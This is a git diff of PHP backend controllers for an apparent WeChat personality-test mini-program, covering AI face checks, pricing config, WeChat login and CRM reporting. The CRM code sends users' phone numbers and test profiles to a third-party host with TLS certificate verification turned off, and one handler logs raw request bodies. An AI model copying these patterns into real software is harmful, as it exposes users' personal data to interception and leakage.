'coze') { + return true; + } + + $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null; + $model = $provider->model ?? 'gpt-4o-mini'; + + if (empty($endpoint)) { + switch ($providerId) { + case 'openai': $endpoint = 'https://api.openai.com/v1'; break; + case 'groq': $endpoint = 'https://api.groq.com/openai/v1'; break; + case 'deepseek': $endpoint = 'https://api.deepseek.com/v1'; break; + case 'moonshot': $endpoint = 'https://api.moonshot.ai/v1'; break; + case 'qwen': $endpoint = 'https://dashscope.aliyuncs.com/compatible-mode/v1'; break; + case 'anthropic': $endpoint = 'https://api.anthropic.com/v1'; break; + case 'zhipu': $endpoint = 'https://api.z.ai/api/paas/v4'; break; + case 'zhizengzeng': $endpoint = 'https://api.zhizengzeng.com/v1'; break; + default: return true; // 未知服务商,放行 + } + } + + $count = count($photoUrls); + $prompt = "以下 {$count} 张图片中是否每张都包含清晰可见的人脸?只回答 YES 或 NO,不要其他文字。"; + + try { + if ($providerId === 'anthropic') { + $text = $this->quickCallAnthropic($endpoint, $apiKey, $model, $prompt, $photoUrls); + } else { + $text = $this->quickCallOpenAICompatible($endpoint, $apiKey, $model, $prompt, $photoUrls, $providerId); + } + + if (empty($text)) { + return true; // 无法解析时放行 + } + + $upper = strtoupper(trim($text)); + // 明确回答 NO 才拦截;YES / 含 YES 的句子 / 无法判断 → 放行 + return strpos($upper, 'NO') === false || strpos($upper, 'YES') !== false; + } catch (\Throwable $e) { + return true; // 异常时放行,不影响正常业务 + } + } + + /** 用于前置检测的 OpenAI 兼容接口(max_tokens=20,支持多图) */ + private function quickCallOpenAICompatible( + string $endpoint, string $apiKey, string $model, + string $prompt, array $photoUrls, string $providerId + ): string { + $content = [['type' => 'text', 'text' => $prompt]]; + foreach (array_slice($photoUrls, 0, 3) as $url) { + $content[] = ['type' => 'image_url', 'image_url' => ['url' => $url]]; + } + + $body = [ + 'model' => $model, + 'messages' => [['role' => 'user', 'content' => $content]], + ]; + + if (strpos($endpoint, 'api.zhizengzeng.com') !== false) { + $body['max_completion_tokens'] = 20; + } else { + $body['max_tokens'] = 20; + } + + $url = rtrim($endpoint, '/') . '/chat/completions'; + $headers = setHeader([], $apiKey, 'json'); + $response = requestCurl($url, $body, 'POST', $headers, 'json'); + + if (empty($response)) { + return ''; + } + + $data = json_decode($response, true); + return $data['choices'][0]['message']['content'] ?? ''; + } + + /** 用于前置检测的 Anthropic Messages 接口(max_tokens=20,支持多图) */ + private function quickCallAnthropic( + string $endpoint, string $apiKey, string $model, + string $prompt, array $photoUrls + ): string { + $content = [['type' => 'text', 'text' => $prompt]]; + foreach (array_slice($photoUrls, 0, 3) as $url) { + $content[] = ['type' => 'image', 'source' => ['type' => 'url', 'url' => $url]]; + } + + $body = [ + 'model' => $model, + 'max_tokens' => 20, + 'messages' => [['role' => 'user', 'content' => $content]], + ]; + + $url = rtrim($endpoint, '/') . '/messages'; + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => + "Content-Type: application/json\r\n" + . "x-api-key: {$apiKey}\r\n" + . "anthropic-version: 2023-06-01\r\n", + 'content' => json_encode($body, JSON_UNESCAPED_UNICODE), + 'timeout' => 15, + ], + ]); + + $response = @file_get_contents($url, false, $ctx); + if ($response === false) { + return ''; + } + + $data = json_decode($response, true); + $text = ''; + foreach (($data['content'] ?? []) as $block) { + if (($block['type'] ?? '') === 'text') { + $text .= $block['text']; + } + } + return $text; + } + + /** + * 根据定价配置返回该测试类型是否需要付费才显示完整报告 + * 直接读取 mbti_pricing_config 的个人版配置:价格 > 0 视为需要付费 + */ + private function getRequiresPaymentByTestType(string $testType): int + { + $amountFen = $this->getStandardAmountByTestType($testType); + return $amountFen > 0 ? 1 : 0; + } + + /** + * 获取某测试类型当前配置的标准单价(单位:分) + * - $enterpriseId 非空 → 企业测试,走 admin_enterprise 定价 + * - $enterpriseId 为 null → 个人测试,走 admin_personal + $pricingEnterpriseId 定价 + * - $pricingEnterpriseId 非空:用户绑定企业,优先读该企业管理员配置的个人版价 + * - $pricingEnterpriseId 为 null:未绑定企业,读超管全局个人版价 + */ + private function getStandardAmountByTestType(string $testType, ?int $enterpriseId = null, ?int $pricingEnterpriseId = null): int + { + $pricingConfig = $enterpriseId !== null && $enterpriseId > 0 + ? PricingConfigModel::getByTypeAndEnterprise('enterprise', $enterpriseId) + : PricingConfigModel::getByTypeAndEnterprise('personal', $pricingEnterpriseId); + if (!$pricingConfig || empty($pricingConfig->config)) { + return 0; + } + + $rawConfig = $pricingConfig->config; + $pricing = is_array($rawConfig) ? $rawConfig : (array) $rawConfig; + + $keyMap = ['team_analysis' => 'teamAnalysis']; + $key = $keyMap[$testType] ?? $testType; + if (!isset($pricing[$key])) { + return 0; + } + + $unitYuan = (float) $pricing[$key]; + return $unitYuan > 0 ? (int) round($unitYuan * 100) : 0; + } +} diff --git a/api/app/controller/api/AppConfig.php b/api/app/controller/api/AppConfig.php new file mode 100644 index 0000000..ce30514 --- /dev/null +++ b/api/app/controller/api/AppConfig.php @@ -0,0 +1,201 @@ +request->param('scope', '') ?? ''); + + $user = $this->request->user ?? null; + if (!$user) { + $token = JwtService::getTokenFromRequest($this->request); + if ($token) { + $payload = JwtService::verifyToken($token); + if ($payload) { + $user = [ + 'source' => $payload['source'] ?? '', + 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, + 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null, + ]; + } + } + } + if ($scope !== 'personal' && $user && ($user['source'] ?? '') === 'wechat') { + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId > 0) { + $row = Db::name('wechat_users')->where('id', $userId)->field('enterpriseId')->find(); + if (!empty($row['enterpriseId'])) { + $enterpriseId = (int) $row['enterpriseId']; + $pricingType = 'enterprise'; + } + } + } + + $config = PricingConfigModel::getByTypeAndEnterprise($pricingType, $enterpriseId); + if ($config && !empty($config->config)) { + // PricingConfig 模型已对 config 做 JSON 转换,这里直接当数组/对象用即可 + $rawConfig = $config->config; + $pricing = is_array($rawConfig) ? $rawConfig : (array) $rawConfig; + } + + // 超管 AI 配置:第一个 enabled=1、visible=1(显示)且 apiKey 非空;隐藏的服务商不参与选用 + $firstProvider = AiProviderModel::where('enabled', 1) + ->whereRaw('(visible IS NULL OR visible = 1)') + ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)') + ->order('id', 'asc') + ->find(); + + $aiProviderId = null; + $aiProviderName = null; + if ($firstProvider) { + $aiProviderId = $firstProvider->providerId; + $aiProviderName = $firstProvider->name ?? $firstProvider->providerId; + } + + // 报告付费开关:完全根据定价配置判断(价格 > 0 视为需要付费) + $reportRequiresPayment = ['face' => 0, 'mbti' => 0, 'disc' => 0, 'pdp' => 0]; + foreach (['face', 'mbti', 'disc', 'pdp'] as $k) { + $key = $k === 'team_analysis' ? 'teamAnalysis' : $k; + if (isset($pricing[$key]) && (float) $pricing[$key] > 0) { + $reportRequiresPayment[$k] = 1; + } + } + + // 站点信息(网站名称、小程序名称):供小程序导航栏等展示 + $siteName = ''; + $miniprogramName = ''; + $siteInfo = Db::name('system_config')->where('key', 'site_info')->find(); + if ($siteInfo && !empty($siteInfo['value'])) { + $val = is_string($siteInfo['value']) ? json_decode($siteInfo['value'], true) : $siteInfo['value']; + if (is_array($val)) { + $siteName = (string) ($val['siteName'] ?? ''); + $miniprogramName = (string) ($val['miniprogramName'] ?? ''); + } + } + if ($siteName === '' || $miniprogramName === '') { + $system = Db::name('system_config')->where('key', 'system')->find(); + if ($system && !empty($system['value'])) { + $val = is_string($system['value']) ? json_decode($system['value'], true) : $system['value']; + if (is_array($val)) { + if ($siteName === '') $siteName = (string) ($val['siteName'] ?? ''); + if ($miniprogramName === '') $miniprogramName = (string) ($val['miniprogramName'] ?? $val['siteName'] ?? ''); + } + } + } + $siteTitle = $miniprogramName !== '' ? $miniprogramName : ($siteName !== '' ? $siteName : '神仙团队AI性格测试'); + + // 小程序文案配置(分析中提示、按钮、报告标题等) + $textConfig = [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析' + ]; + // 先读全局 text_config(enterprise_id=0) + $tcRow = Db::name('system_config')->where('key', 'text_config')->where('enterprise_id', 0)->find(); + if ($tcRow && !empty($tcRow['value'])) { + $tcVal = is_string($tcRow['value']) ? json_decode($tcRow['value'], true) : $tcRow['value']; + if (is_array($tcVal)) { + $textConfig = array_merge($textConfig, array_intersect_key($tcVal, $textConfig)); + } + } + // 企业专属文案 + 小程序名称 覆盖全局(enterprise_id={eid}) + if ($enterpriseId > 0) { + $eidTc = Db::name('system_config')->where('key', 'text_config')->where('enterprise_id', $enterpriseId)->find(); + if ($eidTc && !empty($eidTc['value'])) { + $eidVal = is_string($eidTc['value']) ? json_decode($eidTc['value'], true) : $eidTc['value']; + if (is_array($eidVal)) { + $textConfig = array_merge($textConfig, array_intersect_key($eidVal, $textConfig)); + if (!empty($eidVal['miniprogramName'])) { + $miniprogramName = (string) $eidVal['miniprogramName']; + $siteTitle = $miniprogramName; + } + } + } + } + + return success([ + 'pricingType' => $pricingType, + 'pricing' => $pricing, + 'aiProviderId' => $aiProviderId, + 'aiProviderName' => $aiProviderName, + 'reportRequiresPayment' => $reportRequiresPayment, + 'siteName' => $siteName, + 'miniprogramName' => $miniprogramName, + 'siteTitle' => $siteTitle, + 'textConfig' => $textConfig, + ]); + } + + /** + * GET api/config/deep-pricing?scope=personal|enterprise + * 深度服务价格(开通会员页):个人版与企业版分别返回可配置的类目列表,支持后台新增类目 + */ + public function deepPricing() + { + $scope = (string) ($this->request->param('scope', 'personal') ?? 'personal'); + $type = $scope === 'enterprise' ? 'deep_enterprise' : 'deep_personal'; + + $config = PricingConfigModel::where('type', $type)->whereNull('enterpriseId')->find(); + $categories = []; + if ($config && !empty($config->config)) { + $raw = $config->config; + $data = is_array($raw) ? $raw : (array) $raw; + $categories = isset($data['categories']) && is_array($data['categories']) ? $data['categories'] : []; + + // 兼容旧数据:补全可能缺失的字段,确保前端始终能读到完整结构 + foreach ($categories as &$cat) { + // features:旧数据只存 featuresText,动态拆成数组 + if (!isset($cat['features']) || !is_array($cat['features'])) { + if (!empty($cat['featuresText']) && is_string($cat['featuresText'])) { + $lines = preg_split('/\r?\n/', $cat['featuresText']); + $cat['features'] = array_values(array_filter(array_map('trim', $lines), static function ($s) { + return $s !== ''; + })); + } else { + $cat['features'] = []; + } + } + // serviceWechat(客服微信):展示给用户的微信号 + if (!isset($cat['serviceWechat'])) { + $cat['serviceWechat'] = ''; + } + // consultWechat(存客宝KEY):旧类目可能没有该字段,补空字符串 + if (!isset($cat['consultWechat'])) { + $cat['consultWechat'] = ''; + } + // promptText:同样补全 + if (!isset($cat['promptText'])) { + $cat['promptText'] = ''; + } + // successMessage:成功提示词,补全 + if (!isset($cat['successMessage'])) { + $cat['successMessage'] = ''; + } + } + unset($cat); + } + + return success(['scope' => $scope, 'categories' => $categories]); + } +} diff --git a/api/app/controller/api/Auth.php b/api/app/controller/api/Auth.php new file mode 100644 index 0000000..cc241b5 --- /dev/null +++ b/api/app/controller/api/Auth.php @@ -0,0 +1,525 @@ +where('username', $username) + // ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'user_id' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'] + ]; + + $token = JwtService::generateToken($payload); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => [ + 'id' => $user['id'], + 'username' => $user['username'], + 'nickname' => $user['nickname'] ?? $user['username'], + 'email' => $user['email'] ?? '', + 'avatar' => $user['avatar'] ?? '', + 'role' => $user['role'] + ] + ], '登录成功'); + } + + /** + * 用户注册(前端) + * @return \think\response\Json + */ + public function register() + { + $data = Request::post(); + + // 数据验证 + if (empty($data['username']) || empty($data['password'])) { + return error('用户名和密码不能为空', 400); + } + + // 检查用户名是否已存在 + if (Db::name('users')->where('username', $data['username'])->find()) { + return error('用户名已存在', 400); + } + + // 检查邮箱是否已存在 + if (!empty($data['email']) && Db::name('users')->where('email', $data['email'])->find()) { + return error('邮箱已被注册', 400); + } + + // 注意:mbti_users表只存储管理员和超管,前端用户需要存储在单独的表中 + // 这里暂时返回错误,需要创建前端用户表后再实现 + return error('前端用户注册功能暂未实现,请联系管理员', 501); + + // 创建用户(如果将来有前端用户表,使用以下代码) + // $userId = Db::name('frontend_users')->insertGetId([ + // 'username' => $data['username'], + // 'password' => password_hash($data['password'], PASSWORD_DEFAULT), + // 'email' => $data['email'] ?? '', + // 'status' => 1, + // 'created_at' => time(), + // 'updated_at' => time() + // ]); + + $user = Db::name('users')->where('id', $userId)->find(); + unset($user['password']); + + return success($user, '注册成功'); + } + + /** + * 获取当前用户信息(需要认证) + * 小程序用户(source=wechat)从 mbti_wechat_users 读取,否则从 mbti_users 读取 + * @return \think\response\Json + */ + public function me() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + $source = $user['source'] ?? null; + $userId = $user['user_id'] ?? $user['userId'] ?? null; + + if ($source === 'wechat' && $userId) { + $wechatUser = Db::name('wechat_users')->where('id', $userId)->find(); + if (!$wechatUser) { + return error('用户不存在', 404); + } + unset($wechatUser['sessionKey'], $wechatUser['openid']); + $wechatUser['avatarUrl'] = $wechatUser['avatar'] ?? ''; + $eid = isset($wechatUser['enterpriseId']) && $wechatUser['enterpriseId'] !== '' && $wechatUser['enterpriseId'] !== null ? (int) $wechatUser['enterpriseId'] : null; + $wechatUser['hasEnterprise'] = $eid > 0; + $wechatUser['enterpriseId'] = $eid; + return success($wechatUser); + } + + $userModel = Db::name('users')->where('id', $userId)->find(); + if (!$userModel) { + return error('用户不存在', 404); + } + + unset($userModel['password']); + + return success($userModel); + } + + /** + * 退出登录(需要认证) + * @return \think\response\Json + */ + public function logout() + { + $user = $this->request->user ?? null; + + if ($user && isset($user['user_id'])) { + JwtService::deleteToken((int) $user['user_id'], $user['source'] ?? null); + } + + return success(null, '退出成功'); + } + + /** + * 刷新Token + * @return \think\response\Json + */ + public function refresh() + { + $token = JwtService::getTokenFromRequest($this->request); + + if (!$token) { + return error('未提供Token', 401); + } + + $newToken = JwtService::refreshToken($token); + + if (!$newToken) { + return error('Token无效或已过期', 401); + } + + return success([ + 'token' => $newToken, + 'expires_in' => config('jwt.expire') + ], '刷新成功'); + } + + /** + * 微信小程序登录:code 换 openid,查/建用户,返回 token 与用户信息 + * POST api/auth/wechat body: { "code": "xxx" } + * @return \think\response\Json + */ + public function wechatLogin() + { + $code = Request::param('code', ''); + if ($code === '') { + return error('缺少 code', 400); + } + + $session = WechatService::jscode2session($code); + if (isset($session['errcode']) && $session['errcode'] !== 0) { + return error($session['errmsg'] ?? '微信登录失败', 400); + } + + $openid = $session['openid']; + //$openid = 'oucCB15WDKCdwfNo-fpyS72iY5IQ'; + $sessionKey = $session['session_key'] ?? ''; + $unionid = $session['unionid'] ?? null; + + $wechatUser = Db::name('wechat_users')->where('openid', $openid)->find(); + $now = time(); + $ip = Request::ip(); + + if ($wechatUser) { + Db::name('wechat_users')->where('id', $wechatUser['id'])->update([ + 'sessionKey' => $sessionKey, + 'unionid' => $unionid, + 'lastLoginAt' => $now, + 'lastLoginIp' => $ip, + 'updatedAt' => $now, + ]); + $wechatUser = Db::name('wechat_users')->where('id', $wechatUser['id'])->find(); + } else { + $id = Db::name('wechat_users')->insertGetId([ + 'openid' => $openid, + 'unionid' => $unionid, + 'sessionKey' => $sessionKey, + 'nickname' => null, + 'avatar' => null, + 'phone' => null, + 'gender' => 0, + 'country' => null, + 'province' => null, + 'city' => null, + 'status' => 1, + 'lastLoginAt' => $now, + 'lastLoginIp' => $ip, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + $wechatUser = Db::name('wechat_users')->where('id', $id)->find(); + } + + if (($wechatUser['status'] ?? 1) != 1) { + return error('账号已被禁用', 403); + } + + $payload = [ + 'user_id' => (int) $wechatUser['id'], + 'source' => 'wechat', + ]; + $token = JwtService::generateToken($payload); + + $userId = (int) $wechatUser['id']; + // 企业绑定取自 wechat_users.enterpriseId(企业分享测试链接时更新,个人分享不更新) + $enterpriseId = isset($wechatUser['enterpriseId']) && $wechatUser['enterpriseId'] !== '' && $wechatUser['enterpriseId'] !== null + ? (int) $wechatUser['enterpriseId'] + : null; + $hasEnterprise = $enterpriseId > 0; + + $out = [ + 'id' => $userId, + 'openid' => $openid, + 'nickname' => $wechatUser['nickname'] ?? '', + 'avatar' => $wechatUser['avatar'] ?? '', + 'avatarUrl' => $wechatUser['avatar'] ?? '', + 'phone' => $wechatUser['phone'] ?? '', + 'gender' => (int) ($wechatUser['gender'] ?? 0), + 'country' => $wechatUser['country'] ?? '', + 'province' => $wechatUser['province'] ?? '', + 'city' => $wechatUser['city'] ?? '', + 'birthday' => $wechatUser['birthday'] ?? '', + 'hasEnterprise' => $hasEnterprise, + 'enterpriseId' => $enterpriseId, + ]; + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $out, + ], '登录成功'); + } + + /** + * 更新小程序用户资料(昵称、头像等),需要认证且为微信用户 + * PUT api/auth/wechat/profile body: { "nickname": "xxx", "avatar": "url", "gender", "country", "province", "city" } + * @return \think\response\Json + */ + public function updateWechatProfile() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (($user['source'] ?? '') !== 'wechat') { + return error('仅支持小程序用户更新资料', 403); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('用户不存在', 404); + } + + // PUT请求的数据在body中,Content-Type为application/json时需要特殊处理 + $contentType = Request::header('content-type', ''); + $input = []; + + if (stripos($contentType, 'application/json') !== false) { + // JSON格式的请求体,需要从原始内容中解析 + $rawContent = Request::getContent(); + if ($rawContent) { + $input = json_decode($rawContent, true) ?: []; + } + } else { + // 表单格式的请求体 + $input = Request::post() ?: Request::put() ?: []; + } + + // 如果还是空,尝试从param获取(兼容性处理) + if (empty($input)) { + $input = Request::param(); + } + + // 记录接收到的数据(调试用) + \think\facade\Log::info('更新用户资料请求', [ + 'userId' => $userId, + 'input' => $input, + 'method' => Request::method(), + 'contentType' => $contentType, + 'rawContent' => Request::getContent() + ]); + + $allow = ['nickname', 'avatar', 'gender', 'country', 'province', 'city', 'birthday']; + $data = []; + foreach ($allow as $k) { + if (isset($input[$k]) && $input[$k] !== null && $input[$k] !== '') { + $v = $input[$k]; + if ($k === 'avatar') { + $data['avatar'] = is_string($v) ? $v : ''; + } elseif ($k === 'nickname') { + $data['nickname'] = is_string($v) ? mb_substr(trim($v), 0, 100) : ''; + } elseif ($k === 'birthday') { + $data['birthday'] = is_string($v) ? preg_replace('/[^\d\-]/', '', trim($v)) : ''; + } elseif ($k === 'gender') { + $data['gender'] = (int) $v; + } else { + $data[$k] = is_string($v) ? trim($v) : ''; + } + } + } + + if (empty($data)) { + \think\facade\Log::warning('更新用户资料:没有可更新的字段', ['input' => $input]); + return error('没有可更新的字段', 400); + } + + $data['updatedAt'] = time(); + \think\facade\Log::info('更新用户资料SQL', ['userId' => $userId, 'data' => $data]); + + $result = Db::name('wechat_users')->where('id', $userId)->update($data); + + \think\facade\Log::info('更新用户资料结果', ['userId' => $userId, 'affectedRows' => $result]); + + $row = Db::name('wechat_users')->where('id', $userId)->find(); + unset($row['sessionKey'], $row['openid']); + $row['avatarUrl'] = $row['avatar'] ?? ''; + + return success($row, '更新成功'); + } + + /** + * 小程序获取手机号:用 getPhoneNumber 返回的 code 换手机号并写入当前用户 + * POST api/auth/wechat/phone body: { "code": "xxx" } 需登录且为微信用户 + * @return \think\response\Json + */ + public function wechatPhone() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (($user['source'] ?? '') !== 'wechat') { + return error('仅支持小程序用户', 403); + } + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('用户不存在', 404); + } + $contentType = Request::header('content-type', ''); + $input = []; + if (stripos($contentType, 'application/json') !== false) { + $rawContent = Request::getContent(); + if ($rawContent) { + $input = json_decode($rawContent, true) ?: []; + } + } else { + $input = Request::post() ?: []; + } + if (empty($input)) { + $input = Request::param(); + } + $code = $input['code'] ?? ''; + if ($code === '') { + return error('缺少 code', 400); + } + + // 调试日志:记录收到的手机号 code(仅保留前几位防止泄露) + \think\facade\Log::info('WechatPhone 请求', [ + 'userId' => $userId, + 'codeHead' => substr($code, 0, 8) . '***', + ]); + + $phoneResult = WechatService::getPhoneNumber($code); + if (isset($phoneResult['errcode'])) { + \think\facade\Log::warning('WechatPhone 获取手机号失败', [ + 'userId' => $userId, + 'codeHead' => substr($code, 0, 8) . '***', + 'errcode' => $phoneResult['errcode'] ?? null, + 'errmsg' => $phoneResult['errmsg'] ?? null, + ]); + return error(($phoneResult['errmsg'] ?? '获取手机号失败') . ' (code inval)', 400); + } + $phone = $phoneResult['purePhoneNumber'] ?? $phoneResult['phoneNumber'] ?? ''; + if ($phone === '') { + return error('未获取到手机号', 400); + } + + Db::name('wechat_users')->where('id', $userId)->update([ + 'phone' => $phone, + 'updatedAt' => time(), + ]); + $row = Db::name('wechat_users')->where('id', $userId)->find(); + unset($row['sessionKey'], $row['openid']); + $row['avatarUrl'] = $row['avatar'] ?? ''; + + return success([ + 'phone' => $phone, + 'user' => $row, + ], '获取成功'); + } + + /** + * 小程序扫码企业邀请后绑定企业:更新 wechat_users.enterpriseId + * POST api/auth/wechat/bind-enterprise body: { "enterpriseId": 123 } + */ + public function wechatBindEnterprise() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (($user['source'] ?? '') !== 'wechat') { + return error('仅支持小程序用户', 403); + } + + $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + if ($userId <= 0) { + return error('用户不存在', 404); + } + + $contentType = Request::header('content-type', ''); + $input = []; + if (stripos($contentType, 'application/json') !== false) { + $rawContent = Request::getContent(); + if ($rawContent) { + $input = json_decode($rawContent, true) ?: []; + } + } else { + $input = Request::post() ?: []; + } + if (empty($input)) { + $input = Request::param(); + } + + $enterpriseId = (int) ($input['enterpriseId'] ?? 0); + if ($enterpriseId <= 0) { + return error('缺少或非法的 enterpriseId', 400); + } + + $ent = Db::name('enterprises') + ->where('id', $enterpriseId) + ->where('status', '<>','disabled') + ->find(); + if (!$ent) { + return error('企业不存在或已禁用', 404); + } + + Db::name('wechat_users')->where('id', $userId)->update([ + 'enterpriseId' => $enterpriseId, + 'updatedAt' => time(), + ]); + + $row = Db::name('wechat_users')->where('id', $userId)->find(); + if (!$row) { + return error('用户不存在', 404); + } + unset($row['sessionKey'], $row['openid']); + $row['avatarUrl'] = $row['avatar'] ?? ''; + $eid = isset($row['enterpriseId']) && $row['enterpriseId'] !== '' && $row['enterpriseId'] !== null ? (int) $row['enterpriseId'] : null; + $row['hasEnterprise'] = $eid > 0; + $row['enterpriseId'] = $eid; + $row['enterpriseName'] = $ent['name'] ?? ''; + + return success($row, '绑定企业成功'); + } +} + diff --git a/api/app/controller/api/CrmReport.php b/api/app/controller/api/CrmReport.php new file mode 100644 index 0000000..cfeebb1 --- /dev/null +++ b/api/app/controller/api/CrmReport.php @@ -0,0 +1,235 @@ +request->user ?? null; + if (!$user) { + $token = JwtService::getTokenFromRequest($this->request); + if ($token) { + $payload = JwtService::verifyToken($token); + if ($payload) { + $user = [ + 'source' => $payload['source'] ?? '', + 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null, + ]; + } + } + } + + $userId = (int) ($user['user_id'] ?? 0); + + // 接收参数 + $apiKey = trim((string) ($this->request->param('apiKey', '') ?? '')); + $source = trim((string) ($this->request->param('source', '') ?? '')); + $remark = trim((string) ($this->request->param('remark', '') ?? '')); + $tags = trim((string) ($this->request->param('tags', '') ?? '')); + $siteTags = trim((string) ($this->request->param('siteTags', '') ?? '')); + + // apiKey 为空则跳过,不影响主流程 + if (empty($apiKey)) { + return success(['reported' => false, 'reason' => 'no_api_key']); + } + + // 从数据库获取用户信息(手机号、openid、昵称) + $phone = ''; + $openid = ''; + $nickname = ''; + if ($userId > 0) { + $wechatUser = Db::name('wechat_users') + ->where('id', $userId) + ->field('phone, openid, nickname') + ->find(); + if ($wechatUser) { + $phone = (string) ($wechatUser['phone'] ?? ''); + $openid = (string) ($wechatUser['openid'] ?? ''); + $nickname = (string) ($wechatUser['nickname'] ?? ''); + } + } + + // 至少需要手机号或微信号,否则没有意义 + if (empty($phone) && empty($openid)) { + return success(['reported' => false, 'reason' => 'no_identifier']); + } + + // 读取接口地址(从 .env 的 API_URL) + $apiUrl = env('API_URL', 'https://ckbapi.quwanzhi.com/v1/api/scenarios'); + $timestamp = time(); + + // 构建请求参数(只加非空字段) + $params = ['apiKey' => $apiKey, 'timestamp' => $timestamp]; + if ($phone !== '') $params['phone'] = $phone; + if ($nickname !== '') $params['name'] = $nickname; + if ($source !== '') $params['source'] = $source; + if ($remark !== '') $params['remark'] = $remark; + if ($tags !== '') $params['tags'] = $tags; + if ($siteTags !== '') $params['siteTags'] = $siteTags; + + // 生成签名(portrait 不参与签名,需在签名后单独附加) + $params['sign'] = self::generateSign($params, $apiKey); + + // 附加用户画像(从最近测试结果构建,不参与签名) + $portrait = self::buildPortrait($userId); + if ($portrait !== null) { + $params['portrait'] = $portrait; + } + + // 发起请求 + $result = self::callApi($apiUrl, $params); + + if ($result['success']) { + return success(['reported' => true]); + } + + Log::warning('[CrmReport] 上报失败 userId=' . $userId . ' reason=' . json_encode($result, JSON_UNESCAPED_UNICODE)); + // 上报失败不影响主业务,始终返回成功 + return success(['reported' => false, 'reason' => $result['error'] ?? 'api_error']); + } + + /** + * 从数据库读取用户最近一次 MBTI / DISC / PDP 测试结果,构建 portrait 对象 + * portrait 整体不参与签名,直接附加到请求体中(见接口文档 §2.3) + */ + private static function buildPortrait(int $userId): ?array + { + if ($userId <= 0) { + return null; + } + + // 一次查出所有相关类型的最新记录(按时间倒序) + $rows = Db::name('test_results') + ->where('userId', $userId) + ->whereIn('testType', ['mbti', 'disc', 'pdp']) + ->field('testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + + $found = []; + foreach ($rows as $row) { + $type = $row['testType']; + if (isset($found[$type])) continue; // 只取每种类型的最新一条 + + $data = []; + if (!empty($row['resultData'])) { + $decoded = json_decode($row['resultData'], true); + $data = is_array($decoded) ? $decoded : []; + } + + switch ($type) { + case 'mbti': + $val = $data['mbtiType'] ?? $data['mbti'] ?? ''; + if ($val !== '') $found['mbti'] = (string) $val; + break; + case 'disc': + $val = $data['dominantType'] ?? $data['disc'] ?? ''; + if ($val !== '') $found['disc'] = $val . '型'; + break; + case 'pdp': + $val = $data['description']['type'] ?? $data['pdp'] ?? ''; + if ($val !== '') $found['pdp'] = (string) $val; + break; + } + } + + if (empty($found)) { + return null; + } + + return [ + 'type' => 4, // 互动(咨询/购买行为) + 'source' => 0, // 本站 + 'sourceData' => $found, + 'remark' => '性格测试画像', + 'uniqueId' => 'wxmp_' . $userId . '_' . date('YmdH'), // 同一小时内去重 + ]; + } + + /** + * 生成存客宝签名 + * 规则(来自接口文档 §2.3): + * 1. 移除 sign / apiKey / portrait + * 2. 移除值为 null 或空字符串的字段 + * 3. 按参数名 ASCII 升序排序 + * 4. 只取"值"按顺序拼接 + * 5. 第一次 MD5 + * 6. 拼接 apiKey 后第二次 MD5,得到最终签名 + */ + private static function generateSign(array $params, string $apiKey): string + { + unset($params['sign'], $params['apiKey'], $params['portrait']); + + $params = array_filter($params, static function ($value) { + return !is_null($value) && $value !== ''; + }); + + ksort($params); + + $stringToSign = implode('', array_values($params)); + $firstMd5 = md5($stringToSign); + + return md5($firstMd5 . $apiKey); + } + + /** + * 通过 cURL 调用存客宝接口 + */ + private static function callApi(string $url, array $params): array + { + $payload = json_encode($params, JSON_UNESCAPED_UNICODE); + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); + curl_setopt($ch, CURLOPT_HTTPHEADER, [ + 'Content-Type: application/json', + 'Accept: application/json', + 'Content-Length: ' . strlen($payload), + ]); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + + $response = curl_exec($ch); + $curlError = curl_error($ch); + curl_close($ch); + + if ($curlError) { + return ['success' => false, 'error' => 'curl:' . $curlError]; + } + + $data = json_decode($response, true); + if (is_array($data) && isset($data['code']) && (int) $data['code'] === 200) { + return ['success' => true, 'data' => $data]; + } + + return [ + 'success' => false, + 'error' => $data['message'] ?? 'unknown', + 'response' => $response, + ]; + } +} diff --git a/api/app/controller/api/Distribution.php b/api/app/controller/api/Distribution.php new file mode 100644 index 0000000..ed5bb6d --- /dev/null +++ b/api/app/controller/api/Distribution.php @@ -0,0 +1,1466 @@ +resolveUser(); + if (!$user) { + return error('未登录', 401); + } + + $inviteeId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); + $inviterId = (int) Request::param('inviterId', 0); + $enterpriseId = Request::param('eid', null); + 